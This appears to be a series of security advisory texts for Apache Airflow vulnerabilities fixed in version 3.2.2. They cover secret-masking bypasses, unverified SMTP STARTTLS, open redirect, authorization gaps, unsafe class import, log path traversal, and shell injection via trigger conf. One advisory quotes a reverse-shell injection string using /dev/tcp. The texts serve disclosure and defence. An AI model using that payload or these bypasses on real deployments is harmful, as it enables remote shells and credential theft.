A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like `password`, `token`, `secret`, `api_key`) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via `max_depth=1`); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the deep-nesting path.

Apache Airflow's EmailOperator and the underlying `airflow.utils.email` helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used `[email] smtp_starttls=True` without `[email] smtp_ssl`. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded. This CVE covers the **core apache-airflow side** of the same root cause already covered for the SMTP provider by `CVE-2026-41016` (published 2026-04-27, covering `apache-airflow-providers-smtp`). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade `apache-airflow` to 3.2.2 or later to cover the core-side path through `airflow.utils.email`. Affects deployments configured with `smtp_starttls=True` and `smtp_ssl=False` where the SMTP relay is reachable across a less-trusted network segment than the worker. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.

A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.

The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.

Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.

The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.

A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.

A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.